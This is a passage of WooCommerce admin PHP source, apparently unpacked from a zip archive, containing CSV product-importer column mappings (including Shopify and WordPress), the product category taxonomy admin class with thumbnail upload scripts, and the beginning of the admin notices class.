			'weight'             => sprintf( __( 'Weight (%s)', 'woocommerce' ), $weight_unit ),
			'dimensions'         => array(
				'name'    => __( 'Dimensions', 'woocommerce' ),
				'options' => array(
					/* translators: %s: dimension unit */
					'length' => sprintf( __( 'Length (%s)', 'woocommerce' ), $dimension_unit ),
					/* translators: %s: dimension unit */
					'width'  => sprintf( __( 'Width (%s)', 'woocommerce' ), $dimension_unit ),
					/* translators: %s: dimension unit */
					'height' => sprintf( __( 'Height (%s)', 'woocommerce' ), $dimension_unit ),
				),
			),
			'category_ids'       => __( 'Categories', 'woocommerce' ),
			'tag_ids'            => __( 'Tags (comma separated)', 'woocommerce' ),
			'tag_ids_spaces'     => __( 'Tags (space separated)', 'woocommerce' ),
			'shipping_class_id'  => __( 'Shipping class', 'woocommerce' ),
			'images'             => __( 'Images', 'woocommerce' ),
			'parent_id'          => __( 'Parent', 'woocommerce' ),
			'upsell_ids'         => __( 'Upsells', 'woocommerce' ),
			'cross_sell_ids'     => __( 'Cross-sells', 'woocommerce' ),
			'grouped_products'   => __( 'Grouped products', 'woocommerce' ),
			'external'           => array(
				'name'    => __( 'External product', 'woocommerce' ),
				'options' => array(
					'product_url' => __( 'External URL', 'woocommerce' ),
					'button_text' => __( 'Button text', 'woocommerce' ),
				),
			),
			'downloads'          => array(
				'name'    => __( 'Downloads', 'woocommerce' ),
				'options' => array(
					'downloads:id' . $index   => __( 'Download ID', 'woocommerce' ),
					'downloads:name' . $index => __( 'Download name', 'woocommerce' ),
					'downloads:url' . $index  => __( 'Download URL', 'woocommerce' ),
					'download_limit'          => __( 'Download limit', 'woocommerce' ),
					'download_expiry'         => __( 'Download expiry days', 'woocommerce' ),
				),
			),
			'attributes'         => array(
				'name'    => __( 'Attributes', 'woocommerce' ),
				'options' => array(
					'attributes:name' . $index     => __( 'Attribute name', 'woocommerce' ),
					'attributes:value' . $index    => __( 'Attribute value(s)', 'woocommerce' ),
					'attributes:taxonomy' . $index => __( 'Is a global attribute?', 'woocommerce' ),
					'attributes:visible' . $index  => __( 'Attribute visibility', 'woocommerce' ),
					'attributes:default' . $index  => __( 'Default attribute', 'woocommerce' ),
				),
			),
			'reviews_allowed'    => __( 'Allow customer reviews?', 'woocommerce' ),
			'purchase_note'      => __( 'Purchase note', 'woocommerce' ),
			'meta:' . $meta      => __( 'Import as meta data', 'woocommerce' ),
			'menu_order'         => __( 'Position', 'woocommerce' ),
		);

		return apply_filters( 'woocommerce_csv_product_import_mapping_options', $options, $item );
	}
}
PK�3\��XXimporters/mappings/mappings.phpnu�[���<?php
/**
 * Load up extra automatic mappings for the CSV importer.
 *
 * @package WooCommerce\Admin\Importers
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

require dirname( __FILE__ ) . '/default.php';
require dirname( __FILE__ ) . '/generic.php';
require dirname( __FILE__ ) . '/shopify.php';
require dirname( __FILE__ ) . '/wordpress.php';
PK�3\��5importers/mappings/default.phpnu�[���<?php
/**
 * Default mappings
 *
 * @package WooCommerce\Admin\Importers
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Importer current locale.
 *
 * @since 3.1.0
 * @return string
 */
function wc_importer_current_locale() {
	$locale = get_locale();
	if ( function_exists( 'get_user_locale' ) ) {
		$locale = get_user_locale();
	}

	return $locale;
}

/**
 * Add English mapping placeholders when not using English as current language.
 *
 * @since 3.1.0
 * @param array $mappings Importer columns mappings.
 * @return array
 */
function wc_importer_default_english_mappings( $mappings ) {
	if ( 'en_US' === wc_importer_current_locale() ) {
		return $mappings;
	}

	$weight_unit    = get_option( 'woocommerce_weight_unit' );
	$dimension_unit = get_option( 'woocommerce_dimension_unit' );
	$new_mappings   = array(
		'ID'                                      => 'id',
		'Type'                                    => 'type',
		'SKU'                                     => 'sku',
		'Name'                                    => 'name',
		'Published'                               => 'published',
		'Is featured?'                            => 'featured',
		'Visibility in catalog'                   => 'catalog_visibility',
		'Short description'                       => 'short_description',
		'Description'                             => 'description',
		'Date sale price starts'                  => 'date_on_sale_from',
		'Date sale price ends'                    => 'date_on_sale_to',
		'Tax status'                              => 'tax_status',
		'Tax class'                               => 'tax_class',
		'In stock?'                               => 'stock_status',
		'Stock'                                   => 'stock_quantity',
		'Backorders allowed?'                     => 'backorders',
		'Low stock amount'                        => 'low_stock_amount',
		'Sold individually?'                      => 'sold_individually',
		sprintf( 'Weight (%s)', $weight_unit )    => 'weight',
		sprintf( 'Length (%s)', $dimension_unit ) => 'length',
		sprintf( 'Width (%s)', $dimension_unit )  => 'width',
		sprintf( 'Height (%s)', $dimension_unit ) => 'height',
		'Allow customer reviews?'                 => 'reviews_allowed',
		'Purchase note'                           => 'purchase_note',
		'Sale price'                              => 'sale_price',
		'Regular price'                           => 'regular_price',
		'Categories'                              => 'category_ids',
		'Tags'                                    => 'tag_ids',
		'Shipping class'                          => 'shipping_class_id',
		'Images'                                  => 'images',
		'Download limit'                          => 'download_limit',
		'Download expiry days'                    => 'download_expiry',
		'Parent'                                  => 'parent_id',
		'Upsells'                                 => 'upsell_ids',
		'Cross-sells'                             => 'cross_sell_ids',
		'Grouped products'                        => 'grouped_products',
		'External URL'                            => 'product_url',
		'Button text'                             => 'button_text',
		'Position'                                => 'menu_order',
	);

	return array_merge( $mappings, $new_mappings );
}
add_filter( 'woocommerce_csv_product_import_mapping_default_columns', 'wc_importer_default_english_mappings', 100 );

/**
 * Add English special mapping placeholders when not using English as current language.
 *
 * @since 3.1.0
 * @param array $mappings Importer columns mappings.
 * @return array
 */
function wc_importer_default_special_english_mappings( $mappings ) {
	if ( 'en_US' === wc_importer_current_locale() ) {
		return $mappings;
	}

	$new_mappings = array(
		'Attribute %d name'     => 'attributes:name',
		'Attribute %d value(s)' => 'attributes:value',
		'Attribute %d visible'  => 'attributes:visible',
		'Attribute %d global'   => 'attributes:taxonomy',
		'Attribute %d default'  => 'attributes:default',
		'Download %d ID'        => 'downloads:id',
		'Download %d name'      => 'downloads:name',
		'Download %d URL'       => 'downloads:url',
		'Meta: %s'              => 'meta:',
	);

	return array_merge( $mappings, $new_mappings );
}
add_filter( 'woocommerce_csv_product_import_mapping_special_columns', 'wc_importer_default_special_english_mappings', 100 );
PK�3\����11importers/mappings/generic.phpnu�[���<?php
/**
 * Generic mappings
 *
 * @package WooCommerce\Admin\Importers
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Add generic mappings.
 *
 * @since 3.1.0
 * @param array $mappings Importer columns mappings.
 * @return array
 */
function wc_importer_generic_mappings( $mappings ) {
	$generic_mappings = array(
		__( 'Title', 'woocommerce' )         => 'name',
		__( 'Product Title', 'woocommerce' ) => 'name',
		__( 'Price', 'woocommerce' )         => 'regular_price',
		__( 'Parent SKU', 'woocommerce' )    => 'parent_id',
		__( 'Quantity', 'woocommerce' )      => 'stock_quantity',
		__( 'Menu order', 'woocommerce' )    => 'menu_order',
	);

	return array_merge( $mappings, $generic_mappings );
}
add_filter( 'woocommerce_csv_product_import_mapping_default_columns', 'wc_importer_generic_mappings' );
PK�3\�f�	VVimporters/mappings/shopify.phpnu�[���<?php
/**
 * Shopify mappings
 *
 * @package WooCommerce\Admin\Importers
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Add Shopify mappings.
 *
 * @since 3.7.0
 * @param array $mappings    Importer columns mappings.
 * @param array $raw_headers Raw headers from CSV being imported.
 * @return array
 */
function wc_importer_shopify_mappings( $mappings, $raw_headers ) {
	// Only map if this is looks like a Shopify export.
	if ( 0 !== count( array_diff( array( 'Title', 'Body (HTML)', 'Type', 'Variant SKU' ), $raw_headers ) ) ) {
		return $mappings;
	}
	$shopify_mappings = array(
		'Variant SKU'               => 'sku',
		'Title'                     => 'name',
		'Body (HTML)'               => 'description',
		'Quantity'                  => 'stock_quantity',
		'Variant Inventory Qty'     => 'stock_quantity',
		'Image Src'                 => 'images',
		'Variant Image'             => 'images',
		'Variant SKU'               => 'sku',
		'Variant Price'             => 'sale_price',
		'Variant Compare At Price'  => 'regular_price',
		'Type'                      => 'category_ids',
		'Tags'                      => 'tag_ids_spaces',
		'Variant Grams'             => 'weight',
		'Variant Requires Shipping' => 'meta:shopify_requires_shipping',
		'Variant Taxable'           => 'tax_status',
	);
	return array_merge( $mappings, $shopify_mappings );
}
add_filter( 'woocommerce_csv_product_import_mapping_default_columns', 'wc_importer_shopify_mappings', 10, 2 );

/**
 * Add special wildcard Shopify mappings.
 *
 * @since 3.7.0
 * @param array $mappings    Importer columns mappings.
 * @param array $raw_headers Raw headers from CSV being imported.
 * @return array
 */
function wc_importer_shopify_special_mappings( $mappings, $raw_headers ) {
	// Only map if this is looks like a Shopify export.
	if ( 0 !== count( array_diff( array( 'Title', 'Body (HTML)', 'Type', 'Variant SKU' ), $raw_headers ) ) ) {
		return $mappings;
	}
	$shopify_mappings = array(
		'Option%d Name'  => 'attributes:name',
		'Option%d Value' => 'attributes:value',
	);
	return array_merge( $mappings, $shopify_mappings );
}
add_filter( 'woocommerce_csv_product_import_mapping_special_columns', 'wc_importer_shopify_special_mappings', 10, 2 );

/**
 * Expand special Shopify columns to WC format.
 *
 * @since 3.7.0
 * @param  array $data Array of data.
 * @return array Expanded data.
 */
function wc_importer_shopify_expand_data( $data ) {
	if ( isset( $data['meta:shopify_requires_shipping'] ) ) {
		$requires_shipping = wc_string_to_bool( $data['meta:shopify_requires_shipping'] );

		if ( ! $requires_shipping ) {
			if ( isset( $data['type'] ) ) {
				$data['type'][] = 'virtual';
			} else {
				$data['type'] = array( 'virtual' );
			}
		}

		unset( $data['meta:shopify_requires_shipping'] );
	}
	return $data;
}
add_filter( 'woocommerce_product_importer_pre_expand_data', 'wc_importer_shopify_expand_data' );
PK�3\7���� importers/mappings/wordpress.phpnu�[���<?php
/**
 * WordPress mappings
 *
 * @package WooCommerce\Admin\Importers
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Add mappings for WordPress tables.
 *
 * @since 3.1.0
 * @param array $mappings Importer columns mappings.
 * @return array
 */
function wc_importer_wordpress_mappings( $mappings ) {

	$wp_mappings = array(
		'post_id'      => 'id',
		'post_title'   => 'name',
		'post_content' => 'description',
		'post_excerpt' => 'short_description',
		'post_parent'  => 'parent_id',
	);

	return array_merge( $mappings, $wp_mappings );
}
add_filter( 'woocommerce_csv_product_import_mapping_default_columns', 'wc_importer_wordpress_mappings' );
PK�3\녭�TETEclass-wc-admin-taxonomies.phpnu�[���<?php
/**
 * Handles taxonomies in admin
 *
 * @class    WC_Admin_Taxonomies
 * @version  2.3.10
 * @package  WooCommerce\Admin
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

use Automattic\WooCommerce\Internal\AssignDefaultCategory;

/**
 * WC_Admin_Taxonomies class.
 */
class WC_Admin_Taxonomies {

	/**
	 * Class instance.
	 *
	 * @var WC_Admin_Taxonomies instance
	 */
	protected static $instance = false;

	/**
	 * Default category ID.
	 *
	 * @var int
	 */
	private $default_cat_id = 0;

	/**
	 * Get class instance
	 */
	public static function get_instance() {
		if ( ! self::$instance ) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	/**
	 * Constructor.
	 */
	public function __construct() {
		// Default category ID.
		$this->default_cat_id = get_option( 'default_product_cat', 0 );

		// Category/term ordering.
		add_action( 'create_term', array( $this, 'create_term' ), 5, 3 );
		add_action(
			'delete_product_cat',
			function() {
				wc_get_container()->get( AssignDefaultCategory::class )->schedule_action();
			}
		);

		// Add form.
		add_action( 'product_cat_add_form_fields', array( $this, 'add_category_fields' ) );
		add_action( 'product_cat_edit_form_fields', array( $this, 'edit_category_fields' ), 10 );
		add_action( 'created_term', array( $this, 'save_category_fields' ), 10, 3 );
		add_action( 'edit_term', array( $this, 'save_category_fields' ), 10, 3 );

		// Add columns.
		add_filter( 'manage_edit-product_cat_columns', array( $this, 'product_cat_columns' ) );
		add_filter( 'manage_product_cat_custom_column', array( $this, 'product_cat_column' ), 10, 3 );

		// Add row actions.
		add_filter( 'product_cat_row_actions', array( $this, 'product_cat_row_actions' ), 10, 2 );
		add_filter( 'admin_init', array( $this, 'handle_product_cat_row_actions' ) );

		// Taxonomy page descriptions.
		add_action( 'product_cat_pre_add_form', array( $this, 'product_cat_description' ) );
		add_action( 'after-product_cat-table', array( $this, 'product_cat_notes' ) );

		$attribute_taxonomies = wc_get_attribute_taxonomies();

		if ( ! empty( $attribute_taxonomies ) ) {
			foreach ( $attribute_taxonomies as $attribute ) {
				add_action( 'pa_' . $attribute->attribute_name . '_pre_add_form', array( $this, 'product_attribute_description' ) );
			}
		}

		// Maintain hierarchy of terms.
		add_filter( 'wp_terms_checklist_args', array( $this, 'disable_checked_ontop' ) );

		// Admin footer scripts for this product categories admin screen.
		add_action( 'admin_footer', array( $this, 'scripts_at_product_cat_screen_footer' ) );
	}

	/**
	 * Order term when created (put in position 0).
	 *
	 * @param mixed  $term_id Term ID.
	 * @param mixed  $tt_id Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 */
	public function create_term( $term_id, $tt_id = '', $taxonomy = '' ) {
		if ( 'product_cat' !== $taxonomy && ! taxonomy_is_product_attribute( $taxonomy ) ) {
			return;
		}

		$meta_name = taxonomy_is_product_attribute( $taxonomy ) ? 'order_' . esc_attr( $taxonomy ) : 'order';

		update_term_meta( $term_id, $meta_name, 0 );
	}

	/**
	 * When a term is deleted, delete its meta.
	 *
	 * @deprecated 3.6.0 No longer needed.
	 * @param mixed $term_id Term ID.
	 */
	public function delete_term( $term_id ) {
		wc_deprecated_function( 'delete_term', '3.6' );
	}

	/**
	 * Category thumbnail fields.
	 */
	public function add_category_fields() {
		?>
		<div class="form-field term-display-type-wrap">
			<label for="display_type"><?php esc_html_e( 'Display type', 'woocommerce' ); ?></label>
			<select id="display_type" name="display_type" class="postform">
				<option value=""><?php esc_html_e( 'Default', 'woocommerce' ); ?></option>
				<option value="products"><?php esc_html_e( 'Products', 'woocommerce' ); ?></option>
				<option value="subcategories"><?php esc_html_e( 'Subcategories', 'woocommerce' ); ?></option>
				<option value="both"><?php esc_html_e( 'Both', 'woocommerce' ); ?></option>
			</select>
		</div>
		<div class="form-field term-thumbnail-wrap">
			<label><?php esc_html_e( 'Thumbnail', 'woocommerce' ); ?></label>
			<div id="product_cat_thumbnail" style="float: left; margin-right: 10px;"><img src="<?php echo esc_url( wc_placeholder_img_src() ); ?>" width="60px" height="60px" /></div>
			<div style="line-height: 60px;">
				<input type="hidden" id="product_cat_thumbnail_id" name="product_cat_thumbnail_id" />
				<button type="button" class="upload_image_button button"><?php esc_html_e( 'Upload/Add image', 'woocommerce' ); ?></button>
				<button type="button" class="remove_image_button button"><?php esc_html_e( 'Remove image', 'woocommerce' ); ?></button>
			</div>
			<script type="text/javascript">

				// Only show the "remove image" button when needed
				if ( ! jQuery( '#product_cat_thumbnail_id' ).val() ) {
					jQuery( '.remove_image_button' ).hide();
				}

				// Uploading files
				var file_frame;

				jQuery( document ).on( 'click', '.upload_image_button', function( event ) {

					event.preventDefault();

					// If the media frame already exists, reopen it.
					if ( file_frame ) {
						file_frame.open();
						return;
					}

					// Create the media frame.
					file_frame = wp.media.frames.downloadable_file = wp.media({
						title: '<?php esc_html_e( 'Choose an image', 'woocommerce' ); ?>',
						button: {
							text: '<?php esc_html_e( 'Use image', 'woocommerce' ); ?>'
						},
						multiple: false
					});

					// When an image is selected, run a callback.
					file_frame.on( 'select', function() {
						var attachment           = file_frame.state().get( 'selection' ).first().toJSON();
						var attachment_thumbnail = attachment.sizes.thumbnail || attachment.sizes.full;

						jQuery( '#product_cat_thumbnail_id' ).val( attachment.id );
						jQuery( '#product_cat_thumbnail' ).find( 'img' ).attr( 'src', attachment_thumbnail.url );
						jQuery( '.remove_image_button' ).show();
					});

					// Finally, open the modal.
					file_frame.open();
				});

				jQuery( document ).on( 'click', '.remove_image_button', function() {
					jQuery( '#product_cat_thumbnail' ).find( 'img' ).attr( 'src', '<?php echo esc_js( wc_placeholder_img_src() ); ?>' );
					jQuery( '#product_cat_thumbnail_id' ).val( '' );
					jQuery( '.remove_image_button' ).hide();
					return false;
				});

				jQuery( document ).ajaxComplete( function( event, request, options ) {
					if ( request && 4 === request.readyState && 200 === request.status
						&& options.data && 0 <= options.data.indexOf( 'action=add-tag' ) ) {

						var res = wpAjax.parseAjaxResponse( request.responseXML, 'ajax-response' );
						if ( ! res || res.errors ) {
							return;
						}
						// Clear Thumbnail fields on submit
						jQuery( '#product_cat_thumbnail' ).find( 'img' ).attr( 'src', '<?php echo esc_js( wc_placeholder_img_src() ); ?>' );
						jQuery( '#product_cat_thumbnail_id' ).val( '' );
						jQuery( '.remove_image_button' ).hide();
						// Clear Display type field on submit
						jQuery( '#display_type' ).val( '' );
						return;
					}
				} );

			</script>
			<div class="clear"></div>
		</div>
		<?php
	}

	/**
	 * Edit category thumbnail field.
	 *
	 * @param mixed $term Term (category) being edited.
	 */
	public function edit_category_fields( $term ) {

		$display_type = get_term_meta( $term->term_id, 'display_type', true );
		$thumbnail_id = absint( get_term_meta( $term->term_id, 'thumbnail_id', true ) );

		if ( $thumbnail_id ) {
			$image = wp_get_attachment_thumb_url( $thumbnail_id );
		} else {
			$image = wc_placeholder_img_src();
		}
		?>
		<tr class="form-field term-display-type-wrap">
			<th scope="row" valign="top"><label><?php esc_html_e( 'Display type', 'woocommerce' ); ?></label></th>
			<td>
				<select id="display_type" name="display_type" class="postform">
					<option value="" <?php selected( '', $display_type ); ?>><?php esc_html_e( 'Default', 'woocommerce' ); ?></option>
					<option value="products" <?php selected( 'products', $display_type ); ?>><?php esc_html_e( 'Products', 'woocommerce' ); ?></option>
					<option value="subcategories" <?php selected( 'subcategories', $display_type ); ?>><?php esc_html_e( 'Subcategories', 'woocommerce' ); ?></option>
					<option value="both" <?php selected( 'both', $display_type ); ?>><?php esc_html_e( 'Both', 'woocommerce' ); ?></option>
				</select>
			</td>
		</tr>
		<tr class="form-field term-thumbnail-wrap">
			<th scope="row" valign="top"><label><?php esc_html_e( 'Thumbnail', 'woocommerce' ); ?></label></th>
			<td>
				<div id="product_cat_thumbnail" style="float: left; margin-right: 10px;"><img src="<?php echo esc_url( $image ); ?>" width="60px" height="60px" /></div>
				<div style="line-height: 60px;">
					<input type="hidden" id="product_cat_thumbnail_id" name="product_cat_thumbnail_id" value="<?php echo esc_attr( $thumbnail_id ); ?>" />
					<button type="button" class="upload_image_button button"><?php esc_html_e( 'Upload/Add image', 'woocommerce' ); ?></button>
					<button type="button" class="remove_image_button button"><?php esc_html_e( 'Remove image', 'woocommerce' ); ?></button>
				</div>
				<script type="text/javascript">

					// Only show the "remove image" button when needed
					if ( '0' === jQuery( '#product_cat_thumbnail_id' ).val() ) {
						jQuery( '.remove_image_button' ).hide();
					}

					// Uploading files
					var file_frame;

					jQuery( document ).on( 'click', '.upload_image_button', function( event ) {

						event.preventDefault();

						// If the media frame already exists, reopen it.
						if ( file_frame ) {
							file_frame.open();
							return;
						}

						// Create the media frame.
						file_frame = wp.media.frames.downloadable_file = wp.media({
							title: '<?php esc_html_e( 'Choose an image', 'woocommerce' ); ?>',
							button: {
								text: '<?php esc_html_e( 'Use image', 'woocommerce' ); ?>'
							},
							multiple: false
						});

						// When an image is selected, run a callback.
						file_frame.on( 'select', function() {
							var attachment           = file_frame.state().get( 'selection' ).first().toJSON();
							var attachment_thumbnail = attachment.sizes.thumbnail || attachment.sizes.full;

							jQuery( '#product_cat_thumbnail_id' ).val( attachment.id );
							jQuery( '#product_cat_thumbnail' ).find( 'img' ).attr( 'src', attachment_thumbnail.url );
							jQuery( '.remove_image_button' ).show();
						});

						// Finally, open the modal.
						file_frame.open();
					});

					jQuery( document ).on( 'click', '.remove_image_button', function() {
						jQuery( '#product_cat_thumbnail' ).find( 'img' ).attr( 'src', '<?php echo esc_js( wc_placeholder_img_src() ); ?>' );
						jQuery( '#product_cat_thumbnail_id' ).val( '' );
						jQuery( '.remove_image_button' ).hide();
						return false;
					});

				</script>
				<div class="clear"></div>
			</td>
		</tr>
		<?php
	}

	/**
	 * Save category fields
	 *
	 * @param mixed  $term_id Term ID being saved.
	 * @param mixed  $tt_id Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 */
	public function save_category_fields( $term_id, $tt_id = '', $taxonomy = '' ) {
		if ( isset( $_POST['display_type'] ) && 'product_cat' === $taxonomy ) { // WPCS: CSRF ok, input var ok.
			update_term_meta( $term_id, 'display_type', esc_attr( $_POST['display_type'] ) ); // WPCS: CSRF ok, sanitization ok, input var ok.
		}
		if ( isset( $_POST['product_cat_thumbnail_id'] ) && 'product_cat' === $taxonomy ) { // WPCS: CSRF ok, input var ok.
			update_term_meta( $term_id, 'thumbnail_id', absint( $_POST['product_cat_thumbnail_id'] ) ); // WPCS: CSRF ok, input var ok.
		}
	}

	/**
	 * Description for product_cat page to aid users.
	 */
	public function product_cat_description() {
		echo wp_kses(
			wpautop( __( 'Product categories for your store can be managed here. To change the order of categories on the front-end you can drag and drop to sort them. To see more categories listed click the "screen options" link at the top-right of this page.', 'woocommerce' ) ),
			array( 'p' => array() )
		);
	}

	/**
	 * Add some notes to describe the behavior of the default category.
	 */
	public function product_cat_notes() {
		$category_id   = get_option( 'default_product_cat', 0 );
		$category      = get_term( $category_id, 'product_cat' );
		$category_name = ( ! $category || is_wp_error( $category ) ) ? _x( 'Uncategorized', 'Default category slug', 'woocommerce' ) : $category->name;
		?>
		<div class="form-wrap edit-term-notes">
			<p>
				<strong><?php esc_html_e( 'Note:', 'woocommerce' ); ?></strong><br>
				<?php
					printf(
						/* translators: %s: default category */
						esc_html__( 'Deleting a category does not delete the products in that category. Instead, products that were only assigned to the deleted category are set to the category %s.', 'woocommerce' ),
						'<strong>' . esc_html( $category_name ) . '</strong>'
					);
				?>
			</p>
		</div>
		<?php
	}

	/**
	 * Description for shipping class page to aid users.
	 */
	public function product_attribute_description() {
		echo wp_kses(
			wpautop( __( 'Attribute terms can be assigned to products and variations.<br/><br/><b>Note</b>: Deleting a term will remove it from all products and variations to which it has been assigned. Recreating a term will not automatically assign it back to products.', 'woocommerce' ) ),
			array( 'p' => array() )
		);
	}

	/**
	 * Thumbnail column added to category admin.
	 *
	 * @param mixed $columns Columns array.
	 * @return array
	 */
	public function product_cat_columns( $columns ) {
		$new_columns = array();

		if ( isset( $columns['cb'] ) ) {
			$new_columns['cb'] = $columns['cb'];
			unset( $columns['cb'] );
		}

		$new_columns['thumb'] = __( 'Image', 'woocommerce' );

		$columns           = array_merge( $new_columns, $columns );
		$columns['handle'] = '';

		return $columns;
	}

	/**
	 * Adjust row actions.
	 *
	 * @param array  $actions Array of actions.
	 * @param object $term Term object.
	 * @return array
	 */
	public function product_cat_row_actions( $actions, $term ) {
		$default_category_id = absint( get_option( 'default_product_cat', 0 ) );

		if ( $default_category_id !== $term->term_id && current_user_can( 'edit_term', $term->term_id ) ) {
			$actions['make_default'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				wp_nonce_url( 'edit-tags.php?action=make_default&amp;taxonomy=product_cat&amp;post_type=product&amp;tag_ID=' . absint( $term->term_id ), 'make_default_' . absint( $term->term_id ) ),
				/* translators: %s: taxonomy term name */
				esc_attr( sprintf( __( 'Make &#8220;%s&#8221; the default category', 'woocommerce' ), $term->name ) ),
				__( 'Make default', 'woocommerce' )
			);
		}

		return $actions;
	}

	/**
	 * Handle custom row actions.
	 */
	public function handle_product_cat_row_actions() {
		if ( isset( $_GET['action'], $_GET['tag_ID'], $_GET['_wpnonce'] ) && 'make_default' === $_GET['action'] ) { // WPCS: CSRF ok, input var ok.
			$make_default_id = absint( $_GET['tag_ID'] ); // WPCS: Input var ok.

			if ( wp_verify_nonce( $_GET['_wpnonce'], 'make_default_' . $make_default_id ) && current_user_can( 'edit_term', $make_default_id ) ) { // WPCS: Sanitization ok, input var ok, CSRF ok.
				update_option( 'default_product_cat', $make_default_id );
			}
		}
	}

	/**
	 * Thumbnail column value added to category admin.
	 *
	 * @param string $columns Column HTML output.
	 * @param string $column Column name.
	 * @param int    $id Product ID.
	 *
	 * @return string
	 */
	public function product_cat_column( $columns, $column, $id ) {
		if ( 'thumb' === $column ) {
			// Prepend tooltip for default category.
			$default_category_id = absint( get_option( 'default_product_cat', 0 ) );

			if ( $default_category_id === $id ) {
				$columns .= wc_help_tip( __( 'This is the default category and it cannot be deleted. It will be automatically assigned to products with no category.', 'woocommerce' ) );
			}

			$thumbnail_id = get_term_meta( $id, 'thumbnail_id', true );

			if ( $thumbnail_id ) {
				$image = wp_get_attachment_thumb_url( $thumbnail_id );
			} else {
				$image = wc_placeholder_img_src();
			}

			// Prevent esc_url from breaking spaces in urls for image embeds. Ref: https://core.trac.wordpress.org/ticket/23605 .
			$image    = str_replace( ' ', '%20', $image );
			$columns .= '<img src="' . esc_url( $image ) . '" alt="' . esc_attr__( 'Thumbnail', 'woocommerce' ) . '" class="wp-post-image" height="48" width="48" />';
		}
		if ( 'handle' === $column ) {
			$columns .= '<input type="hidden" name="term_id" value="' . esc_attr( $id ) . '" />';
		}
		return $columns;
	}

	/**
	 * Maintain term hierarchy when editing a product.
	 *
	 * @param  array $args Term checklist args.
	 * @return array
	 */
	public function disable_checked_ontop( $args ) {
		if ( ! empty( $args['taxonomy'] ) && 'product_cat' === $args['taxonomy'] ) {
			$args['checked_ontop'] = false;
		}
		return $args;
	}

	/**
	 * Admin footer scripts for the product categories admin screen
	 *
	 * @return void
	 */
	public function scripts_at_product_cat_screen_footer() {
		if ( ! isset( $_GET['taxonomy'] ) || 'product_cat' !== $_GET['taxonomy'] ) { // WPCS: CSRF ok, input var ok.
			return;
		}
		// Ensure the tooltip is displayed when the image column is disabled on product categories.
		wc_enqueue_js(
			"(function( $ ) {
				'use strict';
				var product_cat = $( 'tr#tag-" . absint( $this->default_cat_id ) . "' );
				product_cat.find( 'th' ).empty();
				product_cat.find( 'td.thumb span' ).detach( 'span' ).appendTo( product_cat.find( 'th' ) );
			})( jQuery );"
		);
	}
}

$wc_admin_taxonomies = WC_Admin_Taxonomies::get_instance();
PK�3\ИW�K�Kclass-wc-admin-notices.phpnu�[���<?php
/**
 * Display notices in admin
 *
 * @package WooCommerce\Admin
 * @version 3.4.0
 */

use Automattic\Jetpack\Constants;

defined( 'ABSPATH' ) || exit;

/**
 * WC_Admin_Notices Class.
 */
class WC_Admin_Notices {

	/**
	 * Stores notices.
	 *
	 * @var array
	 */
	private static $notices = array();

	/**
	 * Array of notices - name => callback.
	 *
	 * @var array
	 */
	private static $core_notices = array(
		'update'                           => 'update_notice',
		'template_files'                   => 'template_file_check_notice',
		'legacy_shipping'                  => 'legacy_shipping_notice',
		'no_shipping_methods'              => 'no_shipping_methods_notice',
		'regenerating_thumbnails'          => 'regenerating_thumbnails_notice',
		'regenerating_lookup_table'        => 'regenerating_lookup_table_notice',
		'no_secure_connection'             => 'secure_connection_notice',
		WC_PHP_MIN_REQUIREMENTS_NOTICE     => 'wp_php_min_requirements_notice',
		'maxmind_license_key'              => 'maxmind_missing_license_key_notice',
		'redirect_download_method'         => 'redirect_download_method_notice',
		'uploads_directory_is_unprotected' => 'uploads_directory_is_unprotected_notice',
		'base_tables_missing'              => 'base_tables_missing_notice',
	);

	/**
	 * Constructor.
	 */
	public static function init() {
		self::$notices = get_option( 'woocommerce_admin_notices', array() );

		add_action( 'switch_theme', array( __CLASS__, 'reset_admin_notices' ) );
		add_action( 'woocommerce_installed', array( __CLASS__, 'reset_admin_notices' ) );
		add_action( 'wp_loaded', array( __CLASS__, 'add_redirect_download_method_notice' ) );
		add_action( 'wp_loaded', array( __CLASS__, 'hide_notices' ) );
		// @TODO: This prevents Action Scheduler async jobs from storing empty list of notices during WC installation.
		// That could lead to OBW not starting and 'Run setup wizard' notice not appearing in WP admin, which we want
		// to avoid.
		if ( ! WC_Install::is_new_install() || ! wc_is_running_from_async_action_scheduler() ) {
			add_action( 'shutdown', array( __CLASS__, 'store_notices' ) );
		}

		if ( current_user_can( 'manage_woocommerce' ) ) {
			add_action( 'admin_print_styles', array( __CLASS__, 'add_notices' ) );
		}
	}

	/**
	 * Parses query to create nonces when available.
	 *
	 * @deprecated 5.4.0
	 * @param object $response The WP_REST_Response we're working with.
	 * @return object $response The prepared WP_REST_Response object.
	 */
	public static function prepare_note_with_nonce( $response ) {
		wc_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '5.4.0' );

		return $response;
	}

	/**
	 * Store notices to DB
	 */
	public static function store_notices() {
		update_option( 'woocommerce_admin_notices', self::get_notices() );
	}

	/**
	 * Get notices
	 *
	 * @return array
	 */
	public static function get_notices() {
		return self::$notices;
	}

	/**
	 * Remove all notices.
	 */
	public static function remove_all_notices() {
		self::$notices = array();
	}

	/**
	 * Reset notices for themes when switched or a new version of WC is installed.
	 */
	public static function reset_admin_notices() {
		if ( ! self::is_ssl() ) {
			self::add_notice( 'no_secure_connection' );
		}
		if ( ! self::is_uploads_directory_protected() ) {
			self::add_notice( 'uploads_directory_is_unprotected' );
		}
		self::add_notice( 'template_files' );
		self::add_min_version_notice();
		self::add_maxmind_missing_license_key_notice();
	}

	/**
	 * Show a notice.
	 *
	 * @param string $name Notice name.
	 * @param bool   $force_save Force saving inside this method instead of at the 'shutdown'.
	 */
	public static function add_notice( $name, $force_save = false ) {
		self::$notices = array_unique( array_merge( self::get_notices(), array( $name ) ) );

		if ( $force_save ) {
			// Adding early save to prevent more race conditions with notices.
			self::store_notices();
		}
	}

	/**
	 * Remove a notice from being displayed.
	 *
	 * @param string $name Notice name.
	 * @param bool   $force_save Force saving inside this method instead of at the 'shutdown'.
	 */
	public static function remove_notice( $name, $force_save = false ) {
